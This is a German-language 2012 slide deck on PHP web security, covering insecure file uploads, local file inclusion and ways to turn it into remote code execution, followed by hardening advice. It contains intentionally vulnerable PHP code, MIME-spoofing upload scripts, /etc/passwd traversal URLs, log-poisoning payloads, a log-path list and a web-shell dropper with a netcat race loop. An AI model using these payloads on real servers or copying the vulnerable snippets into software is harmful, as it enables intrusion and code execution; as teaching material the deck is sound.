Date post: | 27-Jun-2015 |
Category: |
Technology |
Upload: | thadafinser |
View: | 639 times |
Download: | 0 times |
Alexander Fend (2012)
WHY WEBBASED SECURITY SUCKS
AGENDA
• Vorstellung
• File Uploads
• Implementation 1 – 5
• Angriffe 1-5
• Local File Inclusion
• LFI 2 RCE
• Tricky Angriffe
• Common security errors
• Best practice & Lösungen
VORSTELLUNG
Alexander Fend
2008: Matura in Wirtschaftsinformatik HTL - Dornbirn
Bis Anfang 2011: IT Administrator ÖAMTC Vorarlberg
Bis Dato: IT Administrator & Security Advisor
Volksbank AG Liechtenstein
Seit über 7 Jahre im IT Security Umfeld, mit Fokus auf: Rootkits für Linux und Android Webanwendungen / Schwachstellenanalyse Externer Berater in Sicherheitsfragen [email protected]
FILE UPLOADS (1)
Uploadimplementationen sind weit verbreitet
Implementationen sind relativ verschieden
Schwachstellen in Uploadfunktionen resultiert meistens in Serverzugriffen / ausführbarer Code
Effektivität zur Ausnutzung der Schwachstelle hängt von einigen Parametern ab
Relativ viele Optionen und Einstellungen in Konfigurationsdateien sowie im Code selbst
Schwachstelle kann die Übernahme einer ganzen Applikation/Server bedeuten (Rechteverwaltung)
FILE UPLOADS (2)
Ablauf Upload:
Anwender
Datei Upload
Webanwendung
Speicherung auf
Dateisystem
Zugriff auf Datei
IMPLEMENTATION (1)
1. <?php 2. $uploaddir = 'tmp/';
3. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
4. if (move_uploaded_file($_FILES['userfile']['tmp_name'],
$uploadfile)) 5. echo "Datei ist in Ordnung. Upload erledigt."; 6. else 7. echo "Fehler beim Upload"; 8. ?>
ANGRIFF (1)
Es erfolgt keine Filterung der Dateitypen
Es können beliebige Dateien hochgeladen werden (html, php, py, js, …)
Einziges Hindernis: Pfad der Datei ist nicht ersichtlich
In der Regel kein Hindernis, da:
Path Disclosure oft möglich Downloadlink eventuell direkt auf die Datei «Uploadverzeichnis» durch probieren Wenn Applikation verfügbar, lokale Installation und
Auswertung der Standardparameter und Pfade möglich
IMPLEMENTATION (2)
1. <?php 2. $uploaddir = 'tmp/';
3. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
4. if (move_uploaded_file($_FILES['userfile']['tmp_name'],
$uploadfile)) 5. echo "Datei: ".$uploadfile." ist in Ordnung. Upload
erledigt."; 6. else 7. echo "Fehler beim Upload"; 8. ?>
ANGRIFF (2)
Wichtig! Eventuelles 0-day!
In den wenigsten Fällen wird der Dateienamen gegen XSS gefiltert (i.d.R. durch htmlentities() strip_tags())
Weil, auf Windows:
XSS im Dateinamen also nicht möglich.
ANGRIFF (2)
Aber auf Linux:
Grossteil der Webserver laufen auf Linux !
Eventuelle XSS Schwachstellen in sämtlichen (grossen / produktiven) Applikationen, welche den Dateinamen nicht filtern
Auf Windows eventuell Runtime Exception ? [testen]
IMPLEMENTATION (3)
$fname = $_FILES['datei']['name']; // filename is like = filename.extension $position = strrpos($fname, "."); $result = substr($fname, $position, strlen($fname)-$position); // normal usage here is a blacklist. if (strtolower($result) != ".php") move_uploaded_file($_FILES['datei']['tmp_name'], "_tmp/".$_FILES['datei']['name']); else echo "Diese Dateiendung ist nicht erlaubt";
ANGRIFF (3)
Blacklist niemals sicher Viele verschiedene Möglichkeiten py, html, html5, js, php, php5, …
Achtung!
Ein .php Script welches in .jpg umbenannt wird, wird als Datei akzeptiert
Eventuelle Probleme! [dazu später mehr]
IMPLEMENTATION (4)
if($_FILES['userfile']['type'] != "image/gif") { echo "Sorry, we only allow uploading GIF images"; exit; } // other code to upload/save image // …
ANGRIFF (4)
Upload von shell.php Fehler: da MIME Typ nicht image/gif
Aber: Angreifer kann eigenen MIME Typ setzen Einfaches Perl Script: $rs = $a->request(POST 'http://localhost/upload.php', Content_Type => 'form-data', Content => [userfile => ["shell.php", "shell.php", "Content-Type" => "image/gif"],],);
IMPLEMENTATION (5)
1. <?php 2. $imageinfo = getimagesize($_FILES['userfile']['tmp_name']); 3. if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') 4. { 5. echo „Only .gif & .jpg allowed\n"; 6. exit; 7. } 8. $uploaddir = '_tmp/'; 9. $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 10. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) 11. echo „Upload ok.\n"; 12. else 13. echo "File uploading error.\n"; 14. ?>
ANGRIFF (5)
Mit einem Bildbearbeitungsprogramm (z.B. Gimp) eine GIF Datei erstellen
In den GIF-Kommentar wird PHP Code eingebettet
ANGRIFF (5)
userfile => ["avatar.gif", "avatar.php", "Content-Type" =>"image/gif"],],);
Perl Script lädt die Datei (avatar.gif) nun als avatar.php auf den Server
Dies funktioniert, da die Datei eine valide GIF Datei ist
Filterungen auf die Dateieendung würden hier dem Angreifer einen Strich durch die Rechnung machen
ANGRIFF (5)
Direktes Aufrufen der Datei, lässt den Interpreter den PHP Code ausführen
IMPLEMENTATION (6)
<?php $blist = array(".php", ".phtml", ".php3", ".php4"); foreach ($blist as $item) if(preg_match("/$item\$/i", $_FILES['userfile']['name'])) { echo "PHP Dateien sind nicht erlaubt!"; exit; } ?>
ANGRIFF (6)
Wie schon erwähnt, Blacklists sind niemals perfekt
Eventuell Ansatz einer Whitelist in Betracht ziehen
Dateien mit den Endungen in der Blacklist können nicht hochgeladen werden
Aber: GIF Bilder mit eingebettetem PHP Code sind immer noch
möglich Browser führt diesen Code allerdings natürlich nicht aus
ANGRIFF (6)
Browser zeigt lediglich das Bild an
ANGRIFF (6)
Aber: Einstellung: Server-Konfiguration welche Dateien zu einem PHP
Interpreter gesendet werden Oft werden jpg/gif Bilder durch den Interpreter gejagt, wenn
Bilder via PHP zur Laufzeit generiert werden Auch andere Dateitypen betroffen
Und: Entwickler haben oft keinen Server-Zugriff Keine Chance zu bestimmen ob sich Einstellungen in Zukunft
ändern Schlummernde Gefahr!
LOCAL FILE INCLUSION
Einbinden von Dateien auf dem Server
PHP Code in Textdateien
Textdateien «rutschen» oft durch die Dateifilter
Direktes ausführen von PHP Code möglich
Resultiert in direktem Serverzugriff
IMPLEMENTATION (1)
<?php $path = $_GET[‘path’]; include($path); ?>
$path wird ungefiltert von der URL übernommen
Ohne Überprüfung eingebunden
Übergabewert ist frei veränderbar und kontrollierbar
ANGRIFF (1)
http://vuln-host.at/vul.php?path=../../../../../etc/passwd Wenn LFI, dann wird /etc/passwd includiert (eventuell Anzahl von
../ erhöhen)
Beliebige Dateien können inkludiert werden
Restriktionen lediglich: Durch Webserver Konfiguration Berechtigungen der einzelnen Dateien Kenntnis des Pfads
IMPLEMENTATION (2)
<?php $path = $_GET[‘path’]; include($path.’.php’); ?>
$path wird ungefiltert von der URL übernommen
Wird allerdings mit der Endung .php inkludiert
Übergabewert ist frei veränderbar und kontrollierbar
ANGRIFF (2)
http://vuln-host.at/vul.php?path=../../../../etc/passwd/%00 Null Byte Angriff
Angefügte Endung wird ignoriert
Da:
%00 = Null Byte Binary: 00000000 Um strings zu terminieren
/etc/passwd wird inkludiert
LFI 2 RCE (1)
Apache
error_log
access_log
http://vuln-host.at/<?php phpinfo(); ?> User-Agent-Switcher: <?php phpinfo(); ?>
LFI 2 RCE (2)
http://vuln-host.at/vul.php?path=../../../../../../../../var/www/log/ access_log Access logs includieren
Eingeschleuster PHP Code wird ausgeführt
Remote Command Execution
LFI 2 RCE (3)
access_log / error_log ausfindig machen Mit einer Liste:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
LFI 2 RCE (4)
access_log / error_log ausfindig machen /proc/self/environ
Enthält Pfad zu den Logdateien
phpinfo.php phpinfo() Datei oftmals auf diversen Servern Enthält ebenfalls Pfad zu den Logdateien
/proc/self/fd/0..1..2..3..
File Descriptor Offen auf die Logdateien Try and Catch
LFI 2 RCE (WEITERE MÖGLICHKEITEN)
.htaccess
Username = <?php phpinfo(); ?> Fehler -> landet in den error_logs
SSH Zugriff
Username = <?php phpinfo(); ?> Fehler -> landet in /var/log/auth.log Via LFI inkludieren
Mail mit <?php phpinfo(); ?> Wird oft in den Logfiles mitgeschnitten Schwierig zu inkludieren, da:
Mailprogramm unbekannt Eventuell Berechtigungen für das Logfile zu restriktiv
LFI 2 RCE (WEITERE MÖGLICHKEITEN)
Angriff über Bilder
Beliebt in Foren (Avatare, etc.) Bild bearbeiten EXIF Daten abändern mit <?php phpinfo(); ?> Bild hochladen Bild via LFI inkludieren PHP Code wird ausgeführt
LFI 2 RCE (WEITERE MÖGLICHKEITEN)
Genügend Möglichkeiten
Selbst überlegen & durchprobieren Andere Services, Logfiles, etc.
Interessante Idee: Als DNS Name: <?php phpinfo(); ?> Inkludieren von: /var/log/wtmp
Leider nicht machbar, da:
DNS Name nicht valide Keine <, >, ?, (, ) möglich Eventuell weitere Ideen / Möglichkeiten?
LFI 2 RCE (INTERESSANTE DATEIEN)
Interessante Dateien für LFI /proc/cmdline
Kommandozeile mit dem der Kernel gestartet wurde /proc/filesystems
Unterstütze Dateisysteme auf dem Server /proc/partitions
Unterteilungen der Festplatte
LFI 2 RCE (INTERESSANTE DATEIEN)
Interessante Dateien für LFI /proc/ioports
Ein – Ausgabe Kommunikationen vom Server /proc/meminfo
Informationen bezüglich dem Arbeitsspeicher
LFI 2 RCE (INTERESSANTE DATEIEN)
Interessante Dateien für LFI /proc/modules
Geladene Module im Kernel /proc/version
Kernel Version und weitere Informationen
LFI 2 RCE (INTERESSANTE DATEIEN)
Interessante Dateien für LFI /proc/version
2.6.32-30-server -> config File falls vorhanden:
/boot/config-2.6.32-30-server
Konfigurationsparameter für den kompilierten Kernel
/boot/abi-2.6.32-30-server Exportierte Funktionen vom Kernel für Module
/boot/System.map-2.6.32-30-server Symbol Tabelle für Adressen Z.B. auch für Rootkits interessant -> sys_call_table
TRICKY ANGRIFFE (1)
Timing attacks File Upload & LFI Theorie
Datei Upload in PHP Temp Datei wird upload_tmp_dir(%tmp%) erstellt Datei wird dann beschrieben & Zielpfad kopiert Zeitfenster für Inkludieren, falls Pfad bekannt
Methode nur auf Windows möglich.
Weiteres Problem: Dateiname zufällig Inkludieren möglich ?
TRICKY ANGRIFFE (2)
Timing attacks File Uploads & LFI
Datei trifft ein
PHP analysiert Datei
tmp Datei wird erstellt
und mit Daten beschrieben
Script wird ausgeführt
(Datei an Zielpfad kopiert)
Script entfernt tmp Datei
Zeitfenster
TRICKY ANGRIFFE (3)
Probleme auf Windows:
Zufallsname für tmp Datei wird erstellt über: GetTempFileName()
http://vuln-site.at/l.php?path=C:\Windows\temp\php<<
The GetTempFileName function creates a temporary file name of the following form:
<path>\<pre><uuuu>.TMP
<path> = upload_tmp_dir = standardmässig C:\Windows\Temp
<pre> = php
<uuuu> = Hexadecimal value uf uUnique
uUnique = argument of GetTempFileName & set to 0 in case of PHP
-> 0 = id for usage of current sytem time
Bruteforce realistisch, aber nicht nötig, da:
Möglichkeit für Tags: <<
TRICKY ANGRIFFE (4)
Nachweis der tmp Datei
TRICKY ANGRIFFE (5)
Schritt 1 <> Datei mit PHP Code für Upload erstellen:
1. <?php 2. $h = fopen('C:\Windows\Temp\shell.php', 'w'); 3. fWrite($h, '<?php exec($_GET[\'cmd\']); ?>'); 4. fclose($h); 5. ?>
TRICKY ANGRIFFE (6)
Schritt 2 <> Script für http call:
1. #!/bin/bash 2. while true; 3. do echo -e "POST /test/lfi.php?path=C:/Windows/Temp/php<<
HTTP/1.0\n" | nc hostname 80; 4. done
TRICKY ANGRIFFE (7)
Schritt 3 <> Action:
COMMON SECURITY ERRORS
> REGISTER_GLOBALS
Register_Globals
Empfohlen: register_globals = off
<?php
if ($user)
$flag_login = 1;
if ($flag_login = 1)
fpassthru("/data/hidden.php");
?>
http://page.at/login?flag_login=1
COMMON SECURITY ERRORS
> DISPALY_ERRORS
display_errors
Empfohlen: display_errors = off
Gibt einem Angreifer sonst wertvolle Informationen
Funktionen
Dateinamen
Strukturen
Pfade
COMMON SECURITY ERRORS
> DATABASE CONNECTION
Database connection
Normalerweise in Skripten wie: connect.php connect.inc
Problem:
Namen sind oft leicht zu finden .inc Dateien können durch den Browser normal gelesen werden .php Dateien könnten unter Umständen auch gelesen werden ->
PHP Parser ist inaktiv
COMMON SECURITY ERRORS
> REGISTER_GLOBALS
File Upload Problematik
.
BEST PRACTICE & LÖSUNGEN (1)
File Upload Problematik
.htaccess Dateien für Regulationen auf Verzeichnisse
Random Funktionen für den Dateinamen (eventuell auch Hashverfahren) mit ID in DB
Verzeichnisse ausserhalb vom Webverzeichnis verwenden
Dateieendungen generell auf .xyz abändern & Endung als Referenz in DB
Logdateien überwachen
BEST PRACTICE & LÖSUNGEN (2)
File Upload Problematik Mehrere Filtermöglichkeiten verwenden (Kombination aus)
getimagesize() Filter auf die Dateiendungen (last ending) Whitelist führen MIME Typ ebenfalls Plausibilisierungen im Code
BEST PRACTICE & LÖSUNGEN (3)
Local File Inclusion Problematik
Code sicher gestalten
Übergabewerte filtern und plausibilisieren
Logverzeichnisse überwachen Auch automatisch mit diversen Scripten
Korrekte Einstellungen in der Webserver Config
httpd.conf – Dateizugriff auf FS blockieren Nur Zugriff auf vereinzelte Ordner ermöglichen
Null Bytes aus übergebenen Werten entfernen
BEST PRACTICE & LÖSUNGEN (4)
Einstellungen php.ini allow_url_fopen = off
Erschwert es einem Angreifer Code aus dem Netz zu laden Eventuell Probleme mit Newsfeeds etc.
allow_url_include = off
Ähnlich wie allow_url_fopen Allerdings werden Dateien inkludiert (include, require)
display_errors = off
Information leakage disable_functions
Blacklist für system(), exec(), shell_exec() ... Nur Zugriff auf vereinzelte Ordner ermöglichen
BEST PRACTICE & LÖSUNGEN (4)
Einstellungen php.ini open_basedir = /pfad/zu/den/www/htdocs
Scripte können aus diesem Pfad nicht «ausbrechen»
register_globals = off Wenn on, können globale Variablen von aussen manipuliert werden.
safe_mode = on
Weitere Sicherheitsbarriere PHP 5.3 – deprecated PHP 5.4 – E_CORE_ERROR
disable_functions
Blacklist für system(), exec(), shell_exec() ... Nur Zugriff auf vereinzelte Ordner ermöglichen
BEST PRACTICE & LÖSUNGEN (5)
Einstellungen httpd.conf ServerSignature Off (404, dir Listings, etc.) ServerTokens Prod (Apache Header)
Ausgegebene Informationen werden reduziert
User account & group User: apache Group: apache Oft als nobody.nobody -> Problem falls z.B. Mail Server auch unter diesen Rechten läuft.
CGI deaktivieren (falls nicht benötigt)
Options –ExecCGI / None Unnötige Module deaktivieren
Grep LoadModule httpd.conf
BEST PRACTICE & LÖSUNGEN (6)
Einstellungen global Apache in chroot Umgebung betreiben
mod security installieren
www.modsecurity.org
Suhosin Patch Teil 1: Patch gegen den PHP Core Teil
Schutz vor BO, Format String, etc. Teil 2: Patch gegen SQL Injection, RFI, LFI, etc.
Berechtigung auf Verzeichnisse korrekt setzen
chown apache.apache chmod
ENDE
Alexander Fend [email protected] www.securityinside.org
Quellen:
<> RFC1867
<> Gynvael Coldwind